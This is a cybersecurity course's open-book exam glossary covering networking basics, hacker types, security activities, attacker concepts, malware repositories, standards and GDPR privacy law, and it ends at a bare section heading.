GRE, Generic Routing Encapsulation, is a tunneling protocol that encapsulates packets inside other IP packets. It is often associated with VPN and tunneling scenarios such as PPTP.

WHY it matters: GRE is not TCP or UDP, so NAT and firewall handling can be different. VirtualBox NAT, for example, supports TCP and UDP but not all protocols, which is why some VPN protocols may not work through simple NAT.

Connection: GRE illustrates why protocol type matters. A firewall rule opening a TCP port does not automatically permit GRE, ICMP, SCTP, or other IP protocols.

IP Fragmentation

IP fragmentation occurs when a packet is split into smaller fragments so it can traverse links with smaller maximum transmission units. Reassembly happens at the destination.

WHY it matters: Fragmentation can affect performance, reliability, and security inspection. Attackers have historically used overlapping or tiny fragments to confuse IDS/firewalls or bypass simplistic filtering.

Connection: Related to MTU, jumbo frames, IPv4/IPv6 differences, and path MTU discovery. Security devices need correct fragment handling because malicious traffic can hide across fragments.

TCP Handshake (SYN, SYN-ACK, ACK)

The TCP three-way handshake establishes a TCP connection. The client sends SYN, the server replies SYN-ACK, and the client completes with ACK. After this, data can flow.

WHY it matters: The handshake creates connection state. Firewalls, port scanners, IDS signatures, and DoS defenses inspect or manipulate this state.

Connection: Nmap SYN scanning sends SYN and interprets responses without completing a full normal connection. SYN floods abuse half-open connection state to threaten availability.

Port 0

Port 0 is a reserved TCP/UDP port and is not used as a normal destination service port on the internet. In programming, binding to port 0 often means 'ask the OS to assign an available ephemeral port.'

WHY it matters: Seeing port 0 in traffic, scan results, or logs can indicate malformed traffic, tool artifacts, scanning, evasion attempts, or programming behavior rather than a normal service.

Connection: Do not treat port 0 like ports 80 or 443. It is more useful as an anomaly or implementation detail than as a normal application service.

Port 53 (DNS)

Port 53 is the standard DNS port. DNS usually uses UDP/53 for ordinary queries and TCP/53 for zone transfers, large responses, DNSSEC-related responses, and cases where UDP is unsuitable.

WHY it matters: DNS is critical infrastructure. Blocking, hijacking, poisoning, or overloading DNS can break service availability or redirect users.

Connection: DNS security includes DNSSEC, restricting zone transfers, monitoring unusual queries, and protecting recursive resolvers from abuse in reflection attacks.

Port 80 (HTTP)

Port 80 is the standard port for unencrypted HTTP web traffic.

WHY it matters: HTTP does not protect confidentiality or integrity by itself. Credentials, cookies, and sensitive data sent over plain HTTP can be intercepted or modified by a man-in-the-middle.

Connection: Modern systems normally redirect port 80 to HTTPS on port 443. Port 80 may still be needed for initial redirects, ACME certificate validation, or legacy services, but sensitive traffic should use TLS.

Port 443 (HTTPS)

Port 443 is the standard port for HTTPS, which is HTTP protected by TLS.

WHY it matters: HTTPS provides confidentiality and integrity in transit and authenticates the server through certificates. It is the baseline for secure web applications.

Connection: HTTPS does not make an application secure by itself. It protects the transport channel, while application security still requires authentication, authorization, input validation, session security, logging, and patching.

Port 3389 (RDP)

Port 3389 is the standard port for Microsoft Remote Desktop Protocol (RDP), used for graphical remote administration of Windows systems.

WHY it matters: Exposed RDP is a frequent target for brute force, credential stuffing, vulnerability exploitation, and ransomware initial access. It is high-value because successful login often grants interactive system access.

Connection: Defenses include VPN or zero-trust access, MFA, account lockout/rate limiting, strong passwords, patching, Network Level Authentication, firewall restrictions, and monitoring failed logins.

CIDR (/24 = 256 addresses)

CIDR, Classless Inter-Domain Routing, writes network prefixes as address/prefix length, such as 192.168.56.0/24. A /24 IPv4 network has 256 total addresses because $32 - 24 = 8$ host bits and $2^8 = 256$.

WHY it matters: CIDR defines scan scope, firewall scope, subnet size, routing, and network segmentation. Misunderstanding a prefix can mean scanning too much, missing assets, or creating overly broad firewall rules.

Connection: In IPv4, smaller prefix number means larger network: /16 is bigger than /24, /32 is a single host. In labs, `nmap -sn 192.168.56.0/24` scans the host-only subnet.

MAC Address

A MAC address is a link-layer hardware address used on local Ethernet/WiFi networks, usually written as six hexadecimal byte pairs. It identifies a network interface at Layer 2.

WHY it matters: MAC addresses are used for local delivery, ARP, switching, DHCP leases, and some access-control policies. They can reveal vendor prefixes but can also be spoofed.

Connection: IP addresses operate at Layer 3; MAC addresses operate on the local link at Layer 2. ARP maps IPv4 addresses to MAC addresses on a LAN.

ARP (Address Resolution Protocol)

ARP maps an IPv4 address to a MAC address on a local network. A host asks 'who has this IP?' and the owner replies with its MAC address.

WHY it matters: ARP has no strong built-in authentication, enabling ARP spoofing/poisoning attacks where an attacker positions themselves for man-in-the-middle traffic interception or disruption.

Connection: ARP operates only on the local network segment. Defenses include switch protections such as dynamic ARP inspection, static ARP entries in special cases, segmentation, and encrypted protocols such as TLS that reduce damage from MITM.

Autonomous System (AS)

An Autonomous System is a network or group of networks under one administrative control that presents a common routing policy to the internet. Each AS has an Autonomous System Number (ASN) used in BGP routing.

WHY it matters: AS information helps identify which organization or provider announces an IP range. It is useful in reconnaissance, incident response, threat intelligence, and understanding internet routing paths.

Connection: Netcraft, WHOIS/RDAP, traceroute, and BGP tools can reveal AS data. AS ownership does not necessarily identify the end customer; cloud and hosting providers announce space used by many tenants.

HACKER TAXONOMY

Open-book exam reference - Cybersecurity Course (F26), SDU CIS

Black Hat

A black hat is a malicious hacker who uses technical skills without authorization for theft, disruption, extortion, espionage, fraud, or other harmful goals.

WHY it matters: The distinction is not the tool but authorization and intent. Nmap, Metasploit, phishing kits, and exploit code can be used legally in a lab or illegally against real targets.

Connection: Black-hat behavior violates the ethical baseline of the course: permission, scope control, harm minimization, evidence protection, and responsible reporting.

White Hat

A white hat is a security professional or researcher who tests systems with authorization and reports findings responsibly to improve security.

WHY it matters: White-hat work uses attacker-like methods under legal and ethical constraints. The goal is defense, evidence, remediation, and reduced risk.

Connection: Penetration testers, vulnerability assessors, and security researchers may all be white hats when they work within scope and authorization.

Grey Hat

A grey hat is someone whose actions sit between clearly authorized white-hat work and malicious black-hat work, often by finding or probing vulnerabilities without explicit permission but without obvious intent to cause harm.

WHY it matters: Lack of permission can still be illegal and harmful even if the person believes the goal is helpful. Good intentions do not erase operational risk or legal exposure.

Connection: The course's legal/ethical message is that reachability does not equal permission. Grey-hat behavior can create trust breakdowns and liability.

Script Kiddie / Script Kiddie

A script kiddie is an unskilled or low-skilled attacker who uses existing tools, copied scripts, public exploits, and tutorials without deeply understanding the systems or consequences.

WHY it matters: Low skill does not mean low risk. Public exploit tools make real harm possible even without advanced expertise.

Connection: Public exploit availability increases risk because exploitation becomes easier. This is why patching known CVEs and removing unnecessary exposure are urgent.

Ethical Hacker

An ethical hacker uses hacking techniques to identify weaknesses under explicit authorization, defined scope, and responsible reporting rules.

WHY it matters: Ethical hacking is a controlled security activity, not permission to do anything technically possible. It supports risk reduction by showing how weaknesses could be abused.

Connection: Ethical hacking overlaps with penetration testing, red teaming, vulnerability validation, and security research. It depends on contracts/rules of engagement, not just good intentions.

Penetration Tester

A penetration tester is an authorized professional who simulates attack paths to determine whether weaknesses are exploitable and what impact they could have.

WHY it matters: Penetration testing goes beyond listing vulnerabilities. It connects reconnaissance, vulnerability analysis, careful proof of concept, impact demonstration, and reporting.

Connection: Penetration testing differs from vulnerability assessment: assessment asks what weaknesses may exist; penetration testing asks what an authorized tester can demonstrate safely within scope.

System Administrator (overlapping tools, different context)

A system administrator manages systems, users, services, networks, backups, patches, permissions, and availability. Admins may use tools also used by attackers, such as scanners, shells, logs, packet captures, and remote access utilities.

WHY it matters: Tool use alone does not define hacking. Context, authorization, scope, and purpose determine whether an action is administration, testing, or abuse.

Connection: Administrators are privileged users; separation of duties, logging, change control, MFA, and least privilege help maintain trust and reduce insider risk.

Hactivist (e.g., Anonymous)

A hacktivist uses hacking, leaks, defacement, DDoS, doxing, or other digital actions to promote a political, ideological, or social cause. Anonymous is a well-known example of a loosely organized hacktivist brand/movement.

WHY it matters: Hacktivism can target organizations for symbolic reasons rather than direct financial gain. Motives may be political, but unauthorized access or disruption remains legally and ethically problematic.

Connection: Common hacktivist tactics affect availability (DDoS), integrity (defacement), and confidentiality (leaks). Threat modeling should consider attacker motivation, not only technical capability.

■ SECURITY ACTIVITY MAP

Open-book exam reference - Cybersecurity Course (F26), SDU CIS

Vulnerability Assessment

Vulnerability assessment is the authorized process of discovering hosts, services, versions, configurations, and known weaknesses, then prioritizing and reporting findings.

WHY it matters: You cannot fix what you have not identified. Assessment creates visibility into exposure and helps decide what to patch, harden, segment, or monitor first.

Connection: Uses reconnaissance, Nmap, vulnerability scanners such as Nessus/GVM, manual validation, CVE/NVD research, and remediation tracking. It does not guarantee that no vulnerabilities exist.

Penetration Testing

Penetration testing is an authorized, scoped simulation of attack activity to determine whether weaknesses can be exploited and what impact they have.

WHY it matters: A scanner finding may be theoretical; a controlled proof of concept can show realistic business and technical impact. Testing must avoid unnecessary harm.

Connection: Workflow: permission and scope -> information gathering -> threat modeling -> vulnerability analysis -> controlled exploitation/proof of concept -> reporting/remediation.

Threat Modeling

Threat modeling is structured reasoning about what can go wrong in a system, how attackers might cause it, and which mitigations should be applied.

WHY it matters: It finds design and architecture problems before deployment, where they are cheaper to fix. It turns vague fear into specific threats and controls.

Connection: Common tools include DFDs, STRIDE, attack trees, misuse cases, PASTA, and mitigation decisions: mitigate, eliminate, transfer, or accept.

Security Monitoring

Security monitoring is the continuous collection and analysis of events, logs, alerts, network data, endpoint telemetry, and control status to detect suspicious behavior and failures.

WHY it matters: Prevention fails sometimes. Monitoring reduces detection time and supports investigation, containment, and recovery.

Connection: Tools include SIEM, XDR, IDS/IPS, firewalls, EDR, Wazuh, and cloud logging. Good monitoring depends on useful logs, baselines, alert tuning, and response procedures.

Incident Response

Incident response is the organized process for handling suspected or confirmed security incidents: prepare, identify, contain, eradicate, recover, communicate, and learn.

WHY it matters: During an incident, improvisation wastes time and increases damage. Response planning protects availability, evidence, legal obligations, and stakeholder trust.

Connection: GDPR breach notification, ransomware recovery, forensic preservation, backups, monitoring, and tabletop exercises all connect to incident response.

Hardening

Hardening is the process of reducing attack surface and increasing resistance to compromise through secure configuration, patching, disabling unnecessary services, least privilege, MFA, logging, and network restrictions.

WHY it matters: Default systems are often optimized for convenience. Hardening makes attacks harder and reduces blast radius.

Connection: Hardening operationalizes secure-by-design after deployment. Vulnerability scanners and configuration audits often identify hardening gaps.

SIEM (Security Information and Event Management)

A SIEM collects, normalizes, correlates, searches, and alerts on logs/events from many sources such as endpoints, servers, firewalls, identity systems, cloud platforms, and applications.

WHY it matters: Security events are distributed. A SIEM gives defenders a central place to detect patterns such as repeated failed logins, unusual admin activity, malware alerts, and network anomalies.

Connection: SIEM supports security monitoring and incident response. Its value depends on log quality, correlation rules, retention, alert tuning, and analyst workflows.

XDR (Extended Detection and Response)

XDR is a detection-and-response approach that correlates telemetry across multiple security layers - endpoints, networks, identity, cloud, email, and applications - and supports investigation and response actions.

WHY it matters: Modern attacks move across systems. XDR aims to connect signals that would look weak or isolated in separate tools.

Connection: XDR overlaps with SIEM and EDR. SIEM is log/event management and correlation; XDR emphasizes integrated detection, incident context, and response across product layers.

MISCELLANEOUS SECURITY TERMS

Open-book exam reference - Cybersecurity Course (F26), SDU CIS

Social Engineering Toolkit (SET)

The Social Engineering Toolkit is a framework used to build controlled social-engineering assessment scenarios such as credential-harvesting simulations, phishing demonstrations, and payload delivery exercises.

WHY it matters: Human trust is part of the attack surface. SET shows how attackers can automate convincing scenarios, but it must be used only with strict authorization.

Connection: Related to phishing, spear phishing, credential harvesting, pretexting, and awareness training. The ethical boundary is especially important because social engineering targets people, not just systems.

MitID (Danish digital identity - DoS case study)

MitID is Denmark's national digital identity system used for authentication to public and private services such as banking and government portals. In the course it appears as a Danish availability/DoS case study.

WHY it matters: Digital identity infrastructure is critical infrastructure. If users cannot authenticate, many dependent services become unavailable even if those services themselves are technically running.

Connection: MitID illustrates dependency risk and the availability part of the CIA triad. A DoS against identity, DNS, payment, cloud, or telecom infrastructure can cascade across many systems.

Account Enumeration

Account enumeration is the process of discovering whether a username, email address, phone number, or account identifier exists in a system. It often happens through login errors, password reset flows, registration pages, timing differences, or API responses.

WHY it matters: Knowing valid accounts makes password spraying, phishing, credential stuffing, and targeted attacks easier.

Connection: Defenses include generic error messages, consistent timing, rate limiting, monitoring, MFA, and careful password-reset design. It is both a web-security and social-engineering concern.

Rate Limiting

Rate limiting restricts how many requests, login attempts, API calls, messages, or actions a subject can perform within a time window.

WHY it matters: It reduces brute force, password spraying, credential stuffing, scraping, spam, API abuse, and some DoS effects.

Connection: Rate limiting is not a complete fix. It should be combined with MFA, lockout or throttling policies, bot detection, monitoring, backoff, CAPTCHAs where appropriate, and careful usability design.

Credential Stuffing

Credential stuffing is an attack where criminals try username/password pairs leaked from one service against other services, relying on password reuse.

WHY it matters: Even if your system did not leak the passwords, your users may have reused compromised credentials elsewhere. Attackers can automate large-scale login attempts.

Connection: Defenses include MFA, breached-password checks, anomaly detection, rate limiting, credential hygiene, password managers, and not reusing passwords.

Password Policy

A password policy defines requirements and controls for password creation, storage, use, reset, and lifecycle. It may address length, uniqueness, blocklists, MFA, lockout/throttling, password managers, and hashing.

WHY it matters: Weak password policies create authentication risk. Overly annoying policies can also backfire by encouraging predictable patterns or reuse.

Connection: Modern good practice favors long passwords/passphrases, blocking known compromised passwords, MFA, rate limiting, and strong password hashing such as Argon2id/bcrypt/scrypt. Forced frequent rotation is less useful unless compromise is suspected.

Zero-Day Vulnerability

A zero-day vulnerability is a vulnerability unknown to the vendor or without an available patch at the time it is exploited or disclosed. 'Zero-day' emphasizes that defenders have had zero days to patch.

WHY it matters: Signature-based defenses and patch management may not stop a new exploit. Organizations need defense-in-depth, monitoring, least privilege, segmentation, and incident response to reduce impact.

Connection: Zero-day exploit is not the same as zero-day vulnerability. The vulnerability is the weakness; the exploit is the method used to abuse it.

Darknet / Dark Web Markets

The darknet refers to overlay networks requiring special software or configuration, such as Tor hidden services. Dark web markets are marketplaces hosted on such networks where legal and illegal goods or services may be traded, including stolen credentials, malware, access, and data dumps.

WHY it matters: Stolen data and credentials often appear in criminal markets, enabling credential stuffing, identity theft, fraud, and further compromise.

Connection: Threat intelligence may monitor dark web sources for leaked credentials or company data, but access and handling must be legal, ethical, and safe.

Lateral Movement

Lateral movement is attacker movement from one compromised system to other systems inside the environment. The attacker uses credentials, remote administration protocols, shared folders, tokens, or trust relationships to expand access.

WHY it matters: Initial access is often only a foothold. Serious breaches happen when attackers move laterally to domain controllers, databases, backups, admin workstations, or production systems.

Connection: Defenses include segmentation, least privilege, MFA for admin access, credential hygiene, endpoint detection, logging, and limiting remote administration paths.

Privilege Escalation

Privilege escalation is gaining higher permissions than originally obtained. Vertical escalation means moving from normal user to admin/root; horizontal escalation means accessing another user's privileges or data at the same general level.

WHY it matters: Many attacks begin with low privilege. Escalation increases impact, persistence options, data access, and ability to disable defenses.

Connection: STRIDE maps this to Elevation of Privilege. Defenses include patching local vulnerabilities, least privilege, secure sudo/admin policies, application authorization checks, and hardening.

Persistence (malware)

Persistence is a technique that allows malware or an attacker to survive reboots, logouts, password changes, or temporary service restarts. Examples include startup entries, scheduled tasks, services, cron jobs, registry run keys, web shells, and modified authentication mechanisms.

WHY it matters: Without persistence, the attacker may lose access when the system restarts. With persistence, compromise can continue silently.

Connection: MITRE ATT&CK includes many persistence techniques. Incident response must eradicate persistence mechanisms, not just kill visible processes.

Foothold

A foothold is the attacker's initial working access inside a target environment, such as a shell, compromised account, web shell, VPN login, or infected endpoint.

WHY it matters: A foothold is the starting point for privilege escalation, persistence, reconnaissance, credential access, and lateral movement.

Connection: In penetration testing, obtaining a foothold demonstrates that initial access is possible. The next questions are impact, containment, and how to prevent or detect it.

Pivot

A pivot is using one compromised system or access path as a stepping stone to reach other systems or networks that were not directly reachable from the attacker.

WHY it matters: Internal networks often trust internal hosts more than internet traffic. Once inside, an attacker can discover and reach private services.

Connection: Pivoting is closely related to lateral movement and segmentation. Strong network segmentation limits what can be reached from a foothold.

Segmentation (network)

Network segmentation divides a network into smaller zones with controlled communication between them. Examples include separating user devices, servers, databases, management networks, labs, guest WiFi, and production systems.

WHY it matters: Segmentation limits blast radius. A compromised workstation should not automatically reach databases, domain controllers, backups, or vulnerable lab targets.

Connection: VirtualBox host-only/internal networking is a lab form of segmentation. Enterprise segmentation uses VLANs, firewalls, ACLs, security groups, Kubernetes network policies, and zero-trust controls.

Separation of Duties

Separation of duties divides sensitive responsibilities among multiple people, roles, or systems so that no single actor can perform a high-risk action alone.

WHY it matters: It reduces fraud, insider risk, mistakes, and abuse of privilege. For example, one person requests a production change and another approves it.

Connection: Related to least privilege, change control, audit logging, and accountability. It is a governance control rather than only a technical control.

Least Privilege

Least privilege means every user, process, service, and component should have only the permissions necessary to perform its legitimate function, and no more.

WHY it matters: It reduces blast radius. If a low-privilege process is compromised, the attacker inherits limited access rather than immediate root/admin control.

Connection: Central defense against privilege escalation and authorization abuse. Implemented through RBAC, file permissions, sudo policy, service accounts, database grants, network ACLs, and Kubernetes RBAC.

Change Control

Change control is a formal process for proposing, reviewing, approving, testing, documenting, and deploying changes to systems, code, configurations, or infrastructure.

WHY it matters: Many outages and security incidents result from unreviewed or poorly understood changes. Change control creates accountability and rollback planning.

Connection: Supports integrity and availability. In security, it helps track firewall changes, DNS changes, IAM changes, patches, production deployments, and emergency fixes.

Digital Wallet (EU)

The EU Digital Identity Wallet is the European digital identity concept under the revised eIDAS framework. It is intended to let citizens, residents, and businesses identify themselves and share digital attestations across public and private services while controlling what data is shared.

WHY it matters: It connects authentication, privacy, data protection, identity assurance, and cross-border service access. A wallet becomes security-critical because compromise or poor design could affect many dependent services.

Connection: In the course privacy context, the digital wallet extends data-subject control and portability ideas into a broader technical ecosystem. Security topics include authentication, device security, consent/user control, certification, interoperability, and privacy-by-design.

Data Spaces / Data Lakes

Data spaces are governed ecosystems for sharing and reusing data across organizations, often with rules for access, sovereignty, interoperability, and purpose. Data lakes are large storage environments that collect raw or semi-structured data for later analysis.

WHY it matters: Pooling data can create value, but it also increases privacy, access-control, governance, and breach-impact concerns. More central or shared data means more attractive targets and more complex accountability.

Connection: GDPR principles such as purpose limitation, data minimization, security, accountability, and data-subject rights become harder and more important when data is pooled or reused.

MyData

MyData is a human-centric personal-data governance movement and organization focused on giving individuals more control over how personal data is accessed, shared, and reused.

WHY it matters: It represents a model where personal data ecosystems are built around user agency rather than only organization-controlled databases.

Connection: Closely related to GDPR data portability, consent, transparency, personal data spaces, and digital wallet ideas. It asks how technical architecture can make individual control practical rather than merely legal.

eBlaster by Veriato (rootkit commercial example)

eBlaster by Veriato is referenced in the course as an example of commercial monitoring/spyware-like software discussed under rootkits and spyware. Such tools may be marketed as employee monitoring or user-behavior analysis software.

WHY it matters: Commercial availability does not automatically make monitoring ethical, legal, or safe. The same technical capabilities - stealth, surveillance, keystroke/log capture, reporting - can be used for management, abuse, or malware-like behavior depending on context and consent.

Connection: Relates to spyware, rootkits, insider threat, privacy, consent, workplace monitoring, and the legal/ethical boundary that tools do not determine legitimacy by themselves.

Wazuh (SIEM/XDR)

Wazuh is an open-source security monitoring platform used for SIEM/XDR-like functions, including endpoint telemetry, log collection, rule-based detection, file-integrity monitoring, vulnerability detection, compliance checks, and alerting.

WHY it matters: It gives defenders visibility across systems and supports detection and investigation rather than only prevention.

Connection: In the course tool map, Wazuh sits under SIEM/XDR. It connects to security monitoring, incident response, host hardening, audit logging, and detection engineering.

CYBERSECURITY COURSE

Miscellaneous Security Terms, Standards & Legal, Privacy Engineering

Open-Book Exam Reference - Use Ctrl+F / Cmd+F to find any term

Section coverage: malware sample repositories, standards and legal concepts, GDPR/privacy governance, privacy engineering, and privacy-preserving data analysis concepts.

Authorized use only: Malware repositories and offensive-security tools must only be used in isolated, explicitly authorized research or training environments. Never download, execute, or distribute malware on a normal machine or network.

■ MISCELLANEOUS SECURITY TERMS (continued)

theZoo (malware samples repo)

DEFINITION: theZoo is a public GitHub-based malware sample repository used by malware analysts, reverse engineers, and security students to study real malware families and malware source code in a controlled environment. It is not a tool for attacking systems; it is a dangerous research corpus.

WHY it matters: Real malware behaves differently from clean textbook examples. Studying samples can teach indicators of compromise, persistence methods, packing/obfuscation, command-and-control behavior, and anti-analysis tricks. For the exam, the key idea is that malware analysis requires strict containment because the sample itself is the threat.

Safe handling: Do not execute samples on your host OS. Use an isolated VM, snapshots, no shared clipboard/folders, no production credentials, and preferably no internet access unless the lab explicitly requires controlled network simulation. Treat every sample as live ammunition.

Connection: Related to MalwareBazaar, malware analysis, reverse engineering, sandboxing, VM isolation, and the course warning that offensive/security tools are only ethical inside authorized scope.

MalwareBazaar (malware samples repo)

DEFINITION: MalwareBazaar is a malware-sharing platform operated by abuse.ch for collecting, tagging, and sharing malware samples and indicators with the security community. Samples are commonly indexed by hashes, malware family names, file type, tags, and submission metadata.

WHY it matters: Defenders need real malware intelligence to build detections, compare hashes, identify families, and understand current campaigns. MalwareBazaar supports threat intelligence workflows by connecting samples to IOCs and analysis reports.

Important nuance: MalwareBazaar is useful for defensive research, but it still provides access to malicious binaries. Downloading a sample is not the same thing as safely analyzing it. The repository is a source of evidence, not a safe playground by itself.

Connection: Compare with theZoo: both expose malware samples, but theZoo is often referenced as a malware-source/sample learning repository, while MalwareBazaar is more operationally used for malware intelligence, hash lookup, and sample sharing.

Offensive Security (company behind Kali)

DEFINITION: Offensive Security, now commonly branded as OffSec, is the security training and certification company that maintains Kali Linux and is associated with hands-on penetration-testing education. Kali Linux is the Debian-based penetration-testing distribution used in the course lab environment.

WHY it matters: Kali packages many assessment tools in one VM, but the distribution itself does not grant authorization or expertise. The same toolset can be used ethically by a penetration tester or illegally by an attacker; authorization and scope define the difference.

Connection: Offensive Security also maintains Exploit-DB/Searchsploit, which connects to vulnerability research and attack-library use. In course terms, Offensive Security links Kali Linux, exploit research, legal/ethical boundaries, and practical lab tooling.

Rapid7 (Metasploit owner)

DEFINITION: Rapid7 is the cybersecurity company that owns and maintains the Metasploit Framework, a major framework for authorized exploitation, payload handling, auxiliary scanning, and post-exploitation workflows. Rapid7 acquired Metasploit in 2009.

WHY it matters: Metasploit is central to many penetration-testing labs because it standardizes the workflow: search for a module, configure target and payload options, run the exploit, manage sessions, and perform controlled post-exploitation. Knowing Rapid7 matters because the course also uses Rapid7-created Metasploitable targets.

Connection: Rapid7 connects Metasploit, Metasploitable 2/3, InsightVM/Nexpose, vulnerability assessment, and penetration testing. Exam distinction: Rapid7 is the company; Metasploit is the framework; Metasploitable is the intentionally vulnerable target VM.

■ STANDARDS & LEGAL (EXTENDED)

NIST SP 800-53 (Security and Privacy Controls)

DEFINITION: NIST Special Publication 800-53 is a catalog of security and privacy controls for information systems and organizations. Revision 5 is titled Security and Privacy Controls for Information Systems and Organizations and organizes controls such as access control, audit and accountability, incident response, risk assessment, system integrity, and privacy controls.

WHY it matters: It is one of the most important control catalogs in cybersecurity governance. Instead of saying 'be secure' in vague terms, SP 800-53 gives organizations a structured set of controls that can be selected, tailored, implemented, assessed, and monitored according to risk.

Connection: NIST SP 800-53 is closely linked to US federal information-security requirements, OMB A-130, FISMA, and risk management. It also shows that privacy and security are increasingly treated together: protecting systems and protecting people are related but not identical goals.

NIST Internal Report NISTIR 7298 Rev. 3 (Key Information Security Terms)

DEFINITION: NISTIR 7298 Rev. 3 is NIST's Glossary of Key Information Security Terms. It collects terminology from NIST publications and CNSS sources so that security professionals, agencies, vendors, and students use consistent definitions.

WHY it matters: Cybersecurity exams often test distinctions between near-synonyms: threat vs vulnerability, authentication vs authorization, confidentiality vs privacy, and control vs countermeasure. A glossary matters because inconsistent terminology creates inconsistent security requirements.

Connection: The course's formal cybersecurity definition is NIST-oriented: measures and controls ensuring confidentiality, integrity, and availability of assets including hardware, software, firmware, and information being processed, stored, and communicated.

ISO/IEC 27001 (information security management - implied)

DEFINITION: ISO/IEC 27001 is the international standard for an Information Security Management System (ISMS). It defines requirements for establishing, implementing, maintaining, and continually improving a management system for information-security risk.

WHY it matters: ISO/IEC 27001 is not just a checklist of technical controls. It forces an organization to define scope, assess risk, select controls, assign responsibility, audit, review, and improve. This is why certification is often used as evidence of organizational security maturity.

Connection: ISO/IEC 27001 belongs to the governance/management side of cybersecurity, while NIST SP 800-53 is a detailed control catalog. Both connect technical security to policy, accountability, risk treatment, documentation, and continuous improvement.

ENISA (European Union Agency for Cybersecurity)

DEFINITION: ENISA is the European Union Agency for Cybersecurity. It supports EU cybersecurity policy, guidance, capacity building, incident cooperation, certification schemes, threat landscape reporting, and practical advice for member states and organizations.

WHY it matters: ENISA is one of the key institutions behind the EU cybersecurity ecosystem. It helps translate high-level EU cybersecurity goals into guidance, coordination, and shared practices, especially around NIS/NIS2, incident reporting, cyber resilience, and sector-specific security.

Connection: ENISA complements GDPR-oriented institutions such as DPAs and the EDPB. GDPR focuses on personal data protection; ENISA focuses on cybersecurity resilience and coordination. In EU security context, both matter because security incidents often become data-protection incidents.

Universal Declaration of Human Rights, Article 12 (privacy)

DEFINITION: Article 12 of the Universal Declaration of Human Rights states that no one should be subjected to arbitrary interference with privacy, family, home, or correspondence, or attacks on honour and reputation, and that everyone has legal protection against such interference or attacks.

WHY it matters: This places privacy in the human-rights tradition, not merely in consumer protection or IT compliance. In the course, this supports the idea that privacy is broader than confidentiality: it relates to dignity, autonomy, personality, relationships, and freedom from arbitrary intrusion.

Connection: Article 12 is a foundation for modern privacy law. GDPR and EU data-protection rules are not only administrative requirements; they operationalize fundamental-rights concerns in data processing, especially when organizations collect, infer, profile, or share personal data.

EU Charter of Fundamental Rights, Articles 7 & 8 (privacy & data protection)

DEFINITION: Article 7 of the EU Charter protects respect for private and family life, home, and communications. Article 8 separately protects personal data, requiring fair processing for specified purposes, a legitimate basis, access and rectification rights, and control by an independent authority.

WHY it matters: The EU treats privacy and data protection as related but distinct fundamental rights. Privacy concerns the private sphere and dignity; data protection concerns the rules for processing personal data even when privacy in the narrow sense is not obviously invaded.

Connection: This distinction explains why GDPR is more than a security law. Security controls such as encryption and access control support GDPR, but GDPR also requires lawfulness, fairness, transparency, purpose limitation, data minimization, rights handling, and accountability.

Data Protection Authority (DPA)

DEFINITION: A Data Protection Authority is an independent public supervisory body responsible for monitoring and enforcing data-protection law, including GDPR. DPAs handle complaints, investigate organizations, issue guidance, order corrective measures, and impose administrative fines where appropriate.

WHY it matters: GDPR enforcement is not left only to private lawsuits or internal company promises. DPAs give data subjects an institutional enforcement path and create external accountability for controllers and processors.

Connection: Article 33 breach notification requires controllers to notify the competent supervisory authority without undue delay and, where feasible, within 72 hours after becoming aware of a personal data breach. In Denmark, the DPA is Datatilsynet.

European Data Protection Board (EDPB)

DEFINITION: The European Data Protection Board is the EU body that brings together national data protection authorities and the European Data Protection Supervisor. It issues guidelines, recommendations, consistency decisions, and opinions to promote consistent GDPR application across the EU/EEA.

WHY it matters: GDPR is directly applicable across the EU, but enforcement is carried out by national authorities. The EDPB helps avoid each country interpreting GDPR completely differently, especially for cross-border processing, international transfers, consent, legitimate interests, breach notification, and rights handling.

Connection: DPAs enforce nationally; the EDPB coordinates and harmonizes. A Data Protection Officer should be aware of EDPB guidance because it often clarifies how vague GDPR concepts should be applied in practice.

Enforcement Fines (GDPR)

DEFINITION: GDPR administrative fines are financial penalties that supervisory authorities may impose for infringements. The highest tier can reach up to EUR 20 million or 4% of the undertaking's total worldwide annual turnover, whichever is higher. A lower tier can reach up to EUR 10 million or 2% of global annual turnover.

WHY it matters: Fines make privacy and security failures board-level risk. GDPR turns poor data governance into a legal, financial, and reputational problem, especially when organizations ignore principles, rights, breach notification, lawful basis, international transfers, or security obligations.

Important nuance: The maximum fine is not automatic. DPAs consider factors such as severity, duration, negligence or intent, categories of data, cooperation, mitigation, previous infringements, and whether affected people were harmed. Enforcement can also include warnings, reprimands, processing bans, and orders to comply.

Connection: Fines connect GDPR to incident response, documentation, accountability, privacy-by-design, and security controls. If an organization cannot show what data it processes and why, it cannot convincingly show compliance.

Digital Omnibus (EU renegotiation of GDPR aspects)

DEFINITION: The Digital Omnibus is the European Commission's 2025 simplification package proposing amendments across digital legislation, including aspects of GDPR and related digital rules. It is described as an effort to reduce complexity, compliance burden, and fragmentation while supporting innovation and competitiveness.

WHY it matters: The course notes that some legal details may change. This is important for open-book exam reasoning: know the stable GDPR fundamentals, but do not treat every procedural detail as permanently fixed when EU digital law is being renegotiated.

Important nuance: A proposal is not the same as final law. Until adopted and in force, the GDPR baseline remains the current legal framework. Core ideas such as fundamental rights, lawful processing, data-subject rights, accountability, and risk-appropriate security should be treated as stable exam anchors.

Connection: Digital Omnibus connects GDPR, ePrivacy/cookie-banner debates, AI/data rules, competitiveness, and simplification politics. It is a legal-change context, not a replacement term for GDPR.

Cambridge Analytica

DEFINITION: Cambridge Analytica was a political consulting/data analytics company involved in a major privacy scandal concerning Facebook user data. Data from millions of users was harvested through an app ecosystem and allegedly used for political profiling and targeting without proper transparency and valid consent.

WHY it matters: It is a classic data-protection failure example: unclear consent, secondary use, excessive data sharing, weak platform governance, profiling, and political manipulation. The scandal helped make privacy risk concrete for the public and regulators.

Connection: For GDPR, Cambridge Analytica illustrates why lawfulness, fairness, transparency, purpose limitation, data minimization, informed consent, accountability, and data-subject rights matter. It also connects privacy with democracy: personal-data misuse can affect autonomy and political processes, not just individual embarrassment.

LINDDUN

DEFINITION: LINDDUN is a privacy threat-modeling framework. The name refers to privacy threat categories: Linkability, Identifiability, Non-repudiation, Detectability, Disclosure of information, Unawareness, and Non-compliance. It helps system designers reason about privacy threats systematically.

WHY it matters: Security threat modeling often focuses on STRIDE and the CIA triad. Privacy threat modeling asks different questions: Can actions be linked? Can a person be identified? Can hidden processing occur? Are users unaware? Are legal principles violated? This catches problems that normal security design may miss.

Connection: STRIDE maps threats to security properties; LINDDUN maps threats to privacy properties. Both can use Data Flow Diagrams, assets, trust boundaries, and mitigation planning. In an exam answer, LINDDUN is the privacy counterpart to security-focused threat modeling.

Privacy Engineering

